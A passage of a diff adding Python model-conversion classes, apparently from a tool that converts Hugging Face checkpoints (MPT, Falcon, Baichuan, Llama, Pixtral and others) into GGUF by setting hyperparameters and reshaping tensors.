set_gguf_parameters(self): + n_embed = self.hparams.get("hidden_size", self.hparams.get("n_embed")) + n_head = self.hparams.get("n_head", self.hparams.get("num_attention_heads")) + self.gguf_writer.add_context_length(self.hparams.get("seq_length", n_embed)) + self.gguf_writer.add_embedding_length(n_embed) + self.gguf_writer.add_feed_forward_length(4 * n_embed) + self.gguf_writer.add_block_count(self.hparams["n_layer"]) + self.gguf_writer.add_head_count(n_head) + self.gguf_writer.add_head_count_kv(n_head) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + n_head = self.hparams.get("n_head", self.hparams.get("num_attention_heads")) + n_embed = self.hparams.get("hidden_size", self.hparams.get("n_embed")) + + name = re.sub(r'transformer\.', '', name) + + tensors: list[tuple[str, Tensor]] = [] + + if re.match(r"h\.\d+\.self_attention\.query_key_value\.weight", name): + # Map bloom-style qkv_linear to gpt-style qkv_linear + # bloom: https://github.com/huggingface/transformers/blob/main/src/transformers/models/bloom/modeling_bloom.py#L238-L252 # noqa + # gpt-2: https://github.com/huggingface/transformers/blob/main/src/transformers/models/gpt2/modeling_gpt2.py#L312 # noqa + qkv_weights = data_torch.reshape((n_head, 3, n_embed // n_head, n_embed)) + data_torch = torch.cat( + ( + qkv_weights[:, 0, :, :].reshape((-1, n_embed)), + qkv_weights[:, 1, :, :].reshape((-1, n_embed)), + qkv_weights[:, 2, :, :].reshape((-1, n_embed)), + ), + dim=0, + ) + logger.info("re-format attention.linear_qkv.weight") + elif re.match(r"h\.\d+\.self_attention\.query_key_value\.bias", name): + qkv_bias = data_torch.reshape((n_head, 3, n_embed // n_head)) + data_torch = torch.cat( + ( + qkv_bias[:, 0, :].reshape((n_embed,)), + qkv_bias[:, 1, :].reshape((n_embed,)), + qkv_bias[:, 2, :].reshape((n_embed,)), + ), + dim=0, + ) + logger.info("re-format attention.linear_qkv.bias") + + tensors.append((self.map_tensor_name(name), data_torch)) + + return tensors + + +@ModelBase.register("MPTForCausalLM") +class MPTModel(TextModel): + model_arch = gguf.MODEL_ARCH.MPT + + def set_vocab(self): + try: + self._set_vocab_gpt2() + except Exception: + # Fallback for SEA-LION model + self._set_vocab_sentencepiece() + self.gguf_writer.add_add_bos_token(False) + self.gguf_writer.add_pad_token_id(3) + self.gguf_writer.add_eos_token_id(1) + self.gguf_writer.add_unk_token_id(0) + + def set_gguf_parameters(self): + block_count = self.hparams["n_layers"] + self.gguf_writer.add_context_length(self.hparams["max_seq_len"]) + self.gguf_writer.add_embedding_length(self.hparams["d_model"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(4 * self.hparams["d_model"]) + self.gguf_writer.add_head_count(self.hparams["n_heads"]) + if kv_n_heads := self.hparams["attn_config"].get("kv_n_heads"): + self.gguf_writer.add_head_count_kv(kv_n_heads) + self.gguf_writer.add_layer_norm_eps(1e-5) + if self.hparams["attn_config"]["clip_qkv"] is not None: + self.gguf_writer.add_clamp_kqv(self.hparams["attn_config"]["clip_qkv"]) + if self.hparams["attn_config"]["alibi"]: + self.gguf_writer.add_max_alibi_bias(self.hparams["attn_config"]["alibi_bias_max"]) + else: + self.gguf_writer.add_max_alibi_bias(0.0) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + if "scales" in name: + new_name = self.map_tensor_name(name, try_suffixes=(".weight", ".bias", ".scales")) + new_name = new_name.replace("scales", "act.scales") + else: + new_name = self.map_tensor_name(name, try_suffixes=(".weight", ".bias")) + + return [(new_name, data_torch)] + + +@ModelBase.register("OrionForCausalLM") +class OrionModel(TextModel): + model_arch = gguf.MODEL_ARCH.ORION + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + head_count = self.hparams["num_attention_heads"] + head_count_kv = self.hparams.get("num_key_value_heads", head_count) + + ctx_length = 0 + if "max_sequence_length" in self.hparams: + ctx_length = self.hparams["max_sequence_length"] + elif "max_position_embeddings" in self.hparams: + ctx_length = self.hparams["max_position_embeddings"] + elif "model_max_length" in self.hparams: + ctx_length = self.hparams["model_max_length"] + else: + raise ValueError("gguf: can not find ctx length parameter.") + + self.gguf_writer.add_file_type(self.ftype) + self.gguf_writer.add_tensor_data_layout("Meta AI original pth") + self.gguf_writer.add_context_length(ctx_length) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(self.hparams["intermediate_size"]) + self.gguf_writer.add_head_count(head_count) + self.gguf_writer.add_head_count_kv(head_count_kv) + # note: config provides rms norm but it is actually layer norm + # ref: https://huggingface.co/OrionStarAI/Orion-14B-Chat/blob/276a17221ce42beb45f66fac657a41540e71f4f5/modeling_orion.py#L570-L571 + self.gguf_writer.add_layer_norm_eps(self.hparams["rms_norm_eps"]) + + +@ModelBase.register("BaichuanForCausalLM", "BaiChuanForCausalLM") +class BaichuanModel(TextModel): + model_arch = gguf.MODEL_ARCH.BAICHUAN + + def set_vocab(self): + self._set_vocab_sentencepiece() + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + head_count = self.hparams["num_attention_heads"] + head_count_kv = self.hparams.get("num_key_value_heads", head_count) + + ctx_length = 0 + if "max_sequence_length" in self.hparams: + ctx_length = self.hparams["max_sequence_length"] + elif "max_position_embeddings" in self.hparams: + ctx_length = self.hparams["max_position_embeddings"] + elif "model_max_length" in self.hparams: + ctx_length = self.hparams["model_max_length"] + else: + raise ValueError("gguf: can not find ctx length parameter.") + + self.gguf_writer.add_tensor_data_layout("Meta AI original pth") + self.gguf_writer.add_context_length(ctx_length) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(self.hparams["intermediate_size"]) + self.gguf_writer.add_rope_dimension_count(self.hparams["hidden_size"] // self.hparams["num_attention_heads"]) + self.gguf_writer.add_head_count(head_count) + self.gguf_writer.add_head_count_kv(head_count_kv) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["rms_norm_eps"]) + self.gguf_writer.add_file_type(self.ftype) + + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + head_count = self.hparams["num_attention_heads"] + head_count_kv = self.hparams.get("num_key_value_heads", head_count) + + tensors: list[tuple[str, Tensor]] = [] + + if bid is not None and name == f"model.layers.{bid}.self_attn.W_pack.weight": + logger.info(f"Unpacking and permuting layer {bid}") + tensors = [ + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_Q, bid), + self._reverse_hf_permute_part(data_torch, 0, head_count, head_count)), + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_K, bid), + self._reverse_hf_permute_part(data_torch, 1, head_count, head_count_kv)), + (self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_V, bid), + self._reverse_hf_part(data_torch, 2)), + ] + else: + tensors = [(self.map_tensor_name(name), data_torch)] + + return tensors + + def _reverse_hf_permute(self, weights: Tensor, n_head: int, n_kv_head: int | None = None) -> Tensor: + if n_kv_head is not None and n_head != n_kv_head: + n_head //= n_kv_head + + return ( + weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape) + ) + + def _reverse_hf_permute_part( + self, weights: Tensor, n_part: int, n_head: int, n_head_kv: int | None = None, + ) -> Tensor: + r = weights.shape[0] // 3 + return self._reverse_hf_permute(weights[r * n_part:r * n_part + r, ...], n_head, n_head_kv) + + def _reverse_hf_part(self, weights: Tensor, n_part: int) -> Tensor: + r = weights.shape[0] // 3 + return weights[r * n_part:r * n_part + r, ...] + + +@ModelBase.register("XverseForCausalLM") +class XverseModel(TextModel): + model_arch = gguf.MODEL_ARCH.XVERSE + + def set_vocab(self): + assert (self.dir_model / "tokenizer.json").is_file() + dir_model = self.dir_model + hparams = self.hparams + + tokens: list[bytes] = [] + toktypes: list[int] = [] + + from transformers import AutoTokenizer + tokenizer = AutoTokenizer.from_pretrained(dir_model) + vocab_size = hparams.get("vocab_size", len(tokenizer.vocab)) + # Since we are checking the maximum index, we need to ensure it's strictly less than vocab_size, + # because vocab_size is the count of items, and indexes start at 0. + max_vocab_index = max(tokenizer.get_vocab().values()) + if max_vocab_index >= vocab_size: + raise ValueError("Vocabulary size exceeds expected maximum size.") + + reverse_vocab: dict[int, str] = {id_: encoded_tok for encoded_tok, id_ in tokenizer.vocab.items()} + added_vocab = tokenizer.get_added_vocab() + + for token_id in range(vocab_size): + token_text = reverse_vocab[token_id].encode('utf-8') + # replace "\x00" to string with length > 0 + if token_text == b"\x00": + toktype = gguf.TokenType.BYTE # special + token_text = f"<{token_text}>".encode('utf-8') + elif re.fullmatch(br"<0x[0-9A-Fa-f]{2}>", token_text): + toktype = gguf.TokenType.BYTE # special + elif reverse_vocab[token_id] in added_vocab: + if tokenizer.added_tokens_decoder[token_id].special: + toktype = gguf.TokenType.CONTROL + else: + toktype = gguf.TokenType.USER_DEFINED + else: + toktype = gguf.TokenType.NORMAL + + tokens.append(token_text) + toktypes.append(toktype) + + self.gguf_writer.add_tokenizer_model("llama") + self.gguf_writer.add_tokenizer_pre("default") + self.gguf_writer.add_token_list(tokens) + self.gguf_writer.add_token_types(toktypes) + + special_vocab = gguf.SpecialVocab(dir_model, n_vocab=len(tokens)) + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + block_count = self.hparams["num_hidden_layers"] + head_count = self.hparams["num_attention_heads"] + head_count_kv = self.hparams.get("num_key_value_heads", head_count) + + ctx_length = 0 + if "max_sequence_length" in self.hparams: + ctx_length = self.hparams["max_sequence_length"] + elif "max_position_embeddings" in self.hparams: + ctx_length = self.hparams["max_position_embeddings"] + elif "model_max_length" in self.hparams: + ctx_length = self.hparams["model_max_length"] + else: + raise ValueError("gguf: can not find ctx length parameter.") + + self.gguf_writer.add_tensor_data_layout("Meta AI original pth") + self.gguf_writer.add_context_length(ctx_length) + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(self.hparams["intermediate_size"]) + self.gguf_writer.add_rope_dimension_count(self.hparams["hidden_size"] // self.hparams["num_attention_heads"]) + self.gguf_writer.add_head_count(head_count) + self.gguf_writer.add_head_count_kv(head_count_kv) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["rms_norm_eps"]) + self.gguf_writer.add_file_type(self.ftype) + + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + head_count = self.hparams["num_attention_heads"] + head_count_kv = self.hparams.get("num_key_value_heads", head_count) + + # HF models permute some of the tensors, so we need to undo that + if name.endswith("q_proj.weight"): + data_torch = self._reverse_hf_permute(data_torch, head_count, head_count) + if name.endswith("k_proj.weight"): + data_torch = self._reverse_hf_permute(data_torch, head_count, head_count_kv) + + return [(self.map_tensor_name(name), data_torch)] + + def _reverse_hf_permute(self, weights: Tensor, n_head: int, n_kv_head: int | None = None) -> Tensor: + if n_kv_head is not None and n_head != n_kv_head: + n_head //= n_kv_head + + return ( + weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape) + ) + + +@ModelBase.register("FalconForCausalLM", "RWForCausalLM") +class FalconModel(TextModel): + model_arch = gguf.MODEL_ARCH.FALCON + + def set_gguf_parameters(self): + block_count = self.hparams.get("num_hidden_layers") + if block_count is None: + block_count = self.hparams["n_layer"] # old name + + n_head = self.hparams.get("num_attention_heads") + if n_head is None: + n_head = self.hparams["n_head"] # old name + + n_head_kv = self.hparams.get("num_kv_heads") + if n_head_kv is None: + n_head_kv = self.hparams.get("n_head_kv", 1) # old name + + self.gguf_writer.add_context_length(2048) # not in config.json + self.gguf_writer.add_tensor_data_layout("jploski") # qkv tensor transform + self.gguf_writer.add_embedding_length(self.hparams["hidden_size"]) + self.gguf_writer.add_feed_forward_length(4 * self.hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(n_head) + self.gguf_writer.add_head_count_kv(n_head_kv) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + + # QKV tensor transform + # The original query_key_value tensor contains n_head_kv "kv groups", + # each consisting of n_head/n_head_kv query weights followed by one key + # and one value weight (shared by all query heads in the kv group). + # This layout makes it a big pain to work with in GGML. + # So we rearrange them here,, so that we have n_head query weights + # followed by n_head_kv key weights followed by n_head_kv value weights, + # in contiguous fashion. + # ref: https://github.com/jploski/ggml/blob/falcon40b/examples/falcon/convert-hf-to-ggml.py + + if "query_key_value" in name: + n_head = self.find_hparam(["num_attention_heads", "n_head"]) + n_head_kv = self.find_hparam(["num_kv_heads", "n_head_kv"], optional=True) or 1 + head_dim = self.hparams["hidden_size"] // n_head + + qkv = data_torch.view(n_head_kv, n_head // n_head_kv + 2, head_dim, head_dim * n_head) + q = qkv[:, :-2].reshape(n_head * head_dim, head_dim * n_head) + k = qkv[:, [-2]].reshape(n_head_kv * head_dim, head_dim * n_head) + v = qkv[:, [-1]].reshape(n_head_kv * head_dim, head_dim * n_head) + data_torch = torch.cat((q, k, v)).reshape_as(data_torch) + + return [(self.map_tensor_name(name), data_torch)] + + +@ModelBase.register("GPTBigCodeForCausalLM") +class StarCoderModel(TextModel): + model_arch = gguf.MODEL_ARCH.STARCODER + + def set_gguf_parameters(self): + block_count = self.hparams["n_layer"] + + self.gguf_writer.add_context_length(self.hparams["n_positions"]) + self.gguf_writer.add_embedding_length(self.hparams["n_embd"]) + self.gguf_writer.add_feed_forward_length(4 * self.hparams["n_embd"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(self.hparams["n_head"]) + self.gguf_writer.add_head_count_kv(1) + self.gguf_writer.add_layer_norm_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + +@ModelBase.register("GPTRefactForCausalLM") +class RefactModel(TextModel): + model_arch = gguf.MODEL_ARCH.REFACT + + def set_vocab(self): + super().set_vocab() + + # TODO: how to determine special FIM tokens automatically? + special_vocab = gguf.SpecialVocab(self.dir_model, load_merges=False, + special_token_types = ['prefix', 'suffix', 'middle', 'eot']) + special_vocab._set_special_token("prefix", 1) + special_vocab._set_special_token("suffix", 3) + special_vocab._set_special_token("middle", 2) + special_vocab.chat_template = None # do not add it twice + special_vocab.add_to_gguf(self.gguf_writer) + + def set_gguf_parameters(self): + hidden_dim = self.hparams["n_embd"] + inner_dim = 4 * hidden_dim + hidden_dim = int(2 * inner_dim / 3) + multiple_of = 256 + ff_dim = multiple_of * ((hidden_dim + multiple_of - 1) // multiple_of) + + block_count = self.hparams["n_layer"] + + # refact uses Alibi. So this is from config.json which might be used by training. + self.gguf_writer.add_context_length(self.hparams["n_positions"]) + self.gguf_writer.add_embedding_length(self.hparams["n_embd"]) + + self.gguf_writer.add_feed_forward_length(ff_dim) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_head_count(self.hparams["n_head"]) + self.gguf_writer.add_head_count_kv(1) + self.gguf_writer.add_layer_norm_rms_eps(self.hparams["layer_norm_epsilon"]) + self.gguf_writer.add_file_type(self.ftype) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + hidden_dim = self.hparams["n_embd"] + inner_dim = 4 * hidden_dim + hidden_dim = int(2 * inner_dim / 3) + multiple_of = 256 + ff_dim = multiple_of * ((hidden_dim + multiple_of - 1) // multiple_of) + n_head = self.hparams["n_head"] + n_head_kv = 1 + head_dim = self.hparams["n_embd"] // n_head + + tensors: list[tuple[str, Tensor]] = [] + + if bid is not None: + if name == f"transformer.h.{bid}.attn.kv.weight": + tensors.append((self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_K, bid), data_torch[:n_head_kv * head_dim])) + tensors.append((self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_V, bid), data_torch[n_head_kv * head_dim:])) + elif name == f"transformer.h.{bid}.attn.q.weight": + tensors.append((self.format_tensor_name(gguf.MODEL_TENSOR.ATTN_Q, bid), data_torch)) + elif name == f"transformer.h.{bid}.mlp.gate_up_proj.weight": + tensors.append((self.format_tensor_name(gguf.MODEL_TENSOR.FFN_GATE, bid), data_torch[:ff_dim])) + tensors.append((self.format_tensor_name(gguf.MODEL_TENSOR.FFN_UP, bid), data_torch[ff_dim:])) + + if len(tensors) == 0: + tensors.append((self.map_tensor_name(name), data_torch)) + + return tensors + + +@ModelBase.register("StableLmForCausalLM", "StableLMEpochForCausalLM", "LlavaStableLMEpochForCausalLM") +class StableLMModel(TextModel): + model_arch = gguf.MODEL_ARCH.STABLELM + + def set_vocab(self): + if (self.dir_model / "tokenizer.json").is_file(): + self._set_vocab_gpt2() + else: + # StableLM 2 1.6B used to have a vocab in a similar format to Qwen's vocab + self._set_vocab_qwen() + + def set_gguf_parameters(self): + hparams = self.hparams + block_count = hparams["num_hidden_layers"] + + self.gguf_writer.add_context_length(hparams["max_position_embeddings"]) + self.gguf_writer.add_embedding_length(hparams["hidden_size"]) + self.gguf_writer.add_block_count(block_count) + self.gguf_writer.add_feed_forward_length(hparams["intermediate_size"]) + rotary_factor = self.find_hparam(["partial_rotary_factor", "rope_pct"]) + self.gguf_writer.add_rope_dimension_count(int(rotary_factor * (hparams["hidden_size"] // hparams["num_attention_heads"]))) + self.gguf_writer.add_head_count(hparams["num_attention_heads"]) + self.gguf_writer.add_head_count_kv(hparams["num_key_value_heads"]) + self.gguf_writer.add_parallel_residual(hparams["use_parallel_residual"] if "use_parallel_residual" in hparams else True) + self.gguf_writer.add_layer_norm_eps(self.find_hparam(["layer_norm_eps", "norm_eps"])) + self.gguf_writer.add_file_type(self.ftype) + + _q_norms: list[dict[str, Tensor]] | None = None + _k_norms: list[dict[str, Tensor]] | None = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams["num_key_value_heads"] + + if name.find("q_layernorm.norms") != -1: + assert bid is not None + + if self._q_norms is None: + self._q_norms = [{} for _ in range(self.block_count)] + + self._q_norms[bid][name] = data_torch + + if len(self._q_norms[bid]) >= n_head: + return self._stack_qk_norm(bid, n_head, self._q_norms[bid], "q_layernorm") + else: + return [] + + if name.find("k_layernorm.norms") != -1: + assert bid is not None + + if self._k_norms is None: + self._k_norms = [{} for _ in range(self.block_count)] + + self._k_norms[bid][name] = data_torch + + if len(self._k_norms[bid]) >= n_kv_head: + return self._stack_qk_norm(bid, n_kv_head, self._k_norms[bid], "k_layernorm") + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + def _stack_qk_norm(self, bid: int, n_head: int, norms: dict[str, Tensor], layer_name: str = "q_layernorm"): + datas: list[Tensor] = [] + # extract the norms in order + for xid in range(n_head): + ename = f"model.layers.{bid}.self_attn.{layer_name}.norms.{xid}.weight" + datas.append(norms[ename]) + del norms[ename] + data_torch = torch.stack(datas, dim=0) + + merged_name = f"model.layers.{bid}.self_attn.{layer_name}.weight" + new_name = self.map_tensor_name(merged_name) + + return [(new_name, data_torch)] + + def prepare_tensors(self): + super().prepare_tensors() + + if self._q_norms is not None or self._k_norms is not None: + # flatten two `list[dict[str, Tensor]]` into a single `list[str]` + norms = ( + [k for d in self._q_norms for k in d.keys()] if self._q_norms is not None else [] + ) + ( + [k for d in self._k_norms for k in d.keys()] if self._k_norms is not None else [] + ) + if len(norms) > 0: + raise ValueError(f"Unprocessed norms: {norms}") + + +@ModelBase.register( + "LLaMAForCausalLM", + "LlamaForCausalLM", + "MistralForCausalLM", + "MixtralForCausalLM", + "VLlama3ForCausalLM", + "LlavaForConditionalGeneration", + "LlamaModel") +class LlamaModel(TextModel): + model_arch = gguf.MODEL_ARCH.LLAMA + undo_permute = True + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + # fix for SmolVLM2, missing `num_attention_heads` in config.json + if self.hf_arch == "VLlama3ForCausalLM": + self.hparams["num_attention_heads"] = self.hparams.get("num_attention_heads", 32) + + def set_vocab(self): + try: + self._set_vocab_sentencepiece() + except FileNotFoundError: + try: + self._set_vocab_llama_hf() + except (FileNotFoundError, TypeError): + # Llama 3 + self._set_vocab_gpt2() + + # Apply to CodeLlama only (and ignore for Llama 3 with a vocab size of 128256) + if self.hparams.get("vocab_size", 32000) == 32016: + special_vocab = gguf.SpecialVocab( + self.dir_model, load_merges=False, + special_token_types = ['prefix', 'suffix', 'middle', 'eot'] + ) + special_vocab._set_special_token("prefix", 32007) + special_vocab._set_special_token("suffix", 32008) + special_vocab._set_special_token("middle", 32009) + special_vocab._set_special_token("eot", 32010) + special_vocab.add_to_gguf(self.gguf_writer) + + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + if tokenizer_config_file.is_file(): + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + tokenizer_config_json = json.load(f) + if "add_prefix_space" in tokenizer_config_json: + self.gguf_writer.add_add_space_prefix(tokenizer_config_json["add_prefix_space"]) + + # Apply to granite small models only + if self.hparams.get("vocab_size", 32000) == 49152: + self.gguf_writer.add_add_bos_token(False) + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + self.gguf_writer.add_vocab_size(hparams["vocab_size"]) + + if (rope_dim := hparams.get("head_dim")) is None: + rope_dim = hparams["hidden_size"] // hparams["num_attention_heads"] + self.gguf_writer.add_rope_dimension_count(rope_dim) + + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "linear" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.LINEAR) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + + @staticmethod + def permute(weights: Tensor, n_head: int, n_head_kv: int | None): + if n_head_kv is not None and n_head != n_head_kv: + n_head = n_head_kv + return (weights.reshape(n_head, 2, weights.shape[0] // n_head // 2, *weights.shape[1:]) + .swapaxes(1, 2) + .reshape(weights.shape)) + + _experts: list[dict[str, Tensor]] | None = None + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + n_head = self.hparams["num_attention_heads"] + n_kv_head = self.hparams.get("num_key_value_heads") + is_vision_tensor = "vision_tower" in name \ + or "vision_model" in name \ + or "model.connector" in name \ + or "multi_modal_projector" in name + + if is_vision_tensor: + return [] # skip vision tensors + elif self.hf_arch == "LlamaModel": + name = "model." + name + elif name.startswith("model.text_model"): + name = name.replace("text_model.", "") # for SmolVLM + elif name.startswith("language_model."): + name = name.replace("language_model.", "") # for the rest + + if self.undo_permute: + if name.endswith(("q_proj.weight", "q_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight", "k_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + + # process the experts separately + if name.find("block_sparse_moe.experts") != -1: + n_experts = self.hparams["num_local_experts"] + + assert bid is not None + + if self._experts is None: + self._experts = [{} for _ in range(self.block_count)] + + self._experts[bid][name] = data_torch + + if len(self._experts[bid]) >= n_experts * 3: + tensors: list[tuple[str, Tensor]] = [] + + # merge the experts into a single 3d tensor + for wid in ["w1", "w2", "w3"]: + datas: list[Tensor] = [] + + for xid in range(n_experts): + ename = f"model.layers.{bid}.block_sparse_moe.experts.{xid}.{wid}.weight" + datas.append(self._experts[bid][ename]) + del self._experts[bid][ename] + + data_torch = torch.stack(datas, dim=0) + + merged_name = f"layers.{bid}.feed_forward.experts.{wid}.weight" + + new_name = self.map_tensor_name(merged_name) + + tensors.append((new_name, data_torch)) + return tensors + else: + return [] + + return [(self.map_tensor_name(name), data_torch)] + + def generate_extra_tensors(self) -> Iterable[tuple[str, Tensor]]: + if rope_scaling := self.find_hparam(["rope_scaling"], optional=True): + if rope_scaling.get("rope_type", '').lower() == "llama3": + base = self.hparams.get("rope_theta", 10000.0) + if (dim := self.hparams.get("head_dim")) is None: + dim = self.hparams["hidden_size"] // self.hparams["num_attention_heads"] + freqs = 1.0 / (base ** (torch.arange(0, dim, 2, dtype=torch.float32) / dim)) + + factor = rope_scaling.get("factor", 8.0) + low_freq_factor = rope_scaling.get("low_freq_factor", 1.0) + high_freq_factor = rope_scaling.get("high_freq_factor", 4.0) + old_context_len = self.hparams.get("original_max_position_embeddings", 8192) + + low_freq_wavelen = old_context_len / low_freq_factor + high_freq_wavelen = old_context_len / high_freq_factor + # assert low_freq_wavelen != high_freq_wavelen # Errors for Llama4 + + rope_factors = [] + for freq in freqs: + wavelen = 2 * math.pi / freq + if wavelen < high_freq_wavelen: + rope_factors.append(1) + elif wavelen > low_freq_wavelen: + rope_factors.append(factor) + else: + smooth = (old_context_len / wavelen - low_freq_factor) / (high_freq_factor - low_freq_factor) + rope_factors.append(1 / ((1 - smooth) / factor + smooth)) + + yield (self.format_tensor_name(gguf.MODEL_TENSOR.ROPE_FREQS), torch.tensor(rope_factors, dtype=torch.float32)) + + def prepare_tensors(self): + super().prepare_tensors() + + if self._experts is not None: + # flatten `list[dict[str, Tensor]]` into `list[str]` + experts = [k for d in self._experts for k in d.keys()] + if len(experts) > 0: + raise ValueError(f"Unprocessed experts: {experts}") + + +@ModelBase.register("ArceeForCausalLM") +class ArceeModel(LlamaModel): + model_arch = gguf.MODEL_ARCH.ARCEE + + def set_gguf_parameters(self): + super().set_gguf_parameters() + self._try_set_pooling_type() + rope_scaling = self.hparams.get("rope_scaling") or {} + if rope_scaling.get("rope_type", rope_scaling.get("type")) == "yarn" and "factor" in rope_scaling: + self.gguf_writer.add_rope_scaling_type(gguf.RopeScalingType.YARN) + self.gguf_writer.add_rope_scaling_factor(rope_scaling["factor"]) + self.gguf_writer.add_rope_scaling_orig_ctx_len(rope_scaling["original_max_position_embeddings"]) + + +@ModelBase.register( + "LlavaForConditionalGeneration", # pixtral + "Mistral3ForConditionalGeneration", # mistral small 3.1 +) +class LlavaVisionModel(MmprojModel): + img_break_tok_id = -1 + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + if self.hparams["model_type"] == "pixtral": + # layer_norm_eps is not in config.json, it is hard-coded in modeling_pixtral.py + self.hparams["layer_norm_eps"] = self.hparams.get("layer_norm_eps", 1e-5) + self.img_break_tok_id = self.get_token_id("[IMG_BREAK]") + logger.info(f"Image break token id: {self.img_break_tok_id}") + else: + raise ValueError(f"Unsupported model type: {self.hparams['model_type']}") + + def get_token_id(self, token: str) -> int: + tokenizer_config_file = self.dir_model / 'tokenizer_config.json' + with open(tokenizer_config_file, "r", encoding="utf-8") as f: + added_tokens_decoder = json.load(f)['added_tokens_decoder'] + for id_, token_data in added_tokens_decoder.items(): + if token_data["content"] == token: + return int(id_) + raise ValueError(f"Token '{token}' not found in tokenizer config.") + + def set_gguf_parameters(self): + super().set_gguf_parameters() + hparams = self.hparams + if hparams["model_type"] == "pixtral": + self.gguf_writer.add_clip_projector_type(gguf.VisionProjectorType.PIXTRAL) + self.gguf_writer.add_vision_attention_layernorm_eps(hparams["layer_norm_eps"]) + + # hidden_act + if hparams["hidden_act"] == "silu": + self.gguf_writer.add_vision_use_silu(True) + elif hparams["hidden_act"] == "gelu": + self.gguf_writer.add_vision_use_gelu(True) + else: + raise ValueError(f"Unsupported hidden_act: {hparams['hidden_act']}") + + # spatial_merge_size + if "spatial_merge_size" in self.global_config: + self.gguf_writer.add_vision_spatial_merge_size(self.global_config["spatial_merge_size"]) + + def modify_tensors(self, data_torch: Tensor, name: str, bid: int | None) -> Iterable[tuple[str, Tensor]]: + del bid # unused + n_head = self.hparams["num_attention_heads"] + n_kv_head = n_head + + if name.startswith("multi_modal_projector.") or name.startswith("vision_tower."): + # process vision tensors + if name.endswith(("q_proj.weight", "q_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_head) + if name.endswith(("k_proj.weight", "k_proj.bias")): + data_torch = LlamaModel.permute(data_torch, n_head, n_kv_head) + return [(self.map_tensor_name(name), data_torch)] + + if self.img_break_tok_id > 0 and "embed_tokens.weight" in name: + logger.info(f"Extracting [IMG_BREAK] token embedding from {name}") + # for pixtral model, we need to extract the [IMG_BREAK] token embedding + img_break_embd = data_torch[self.img_break_tok_id] + name = gguf.TENSOR_NAMES[gguf.MODEL_TENSOR.V_TOK_EMBD_IMG_BREAK] + return [(self.map_tensor_name(name), img_break_embd)] + + return [] # skip other tensors + + +@ModelBase.register("Idefics3ForConditionalGeneration", "SmolVLMForConditionalGeneration") +class SmolVLMModel(MmprojModel): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + if self.hparams["model_type"] == "smolvlm_vision": + # fix for SmolVLM2, missing some keys in config.json + 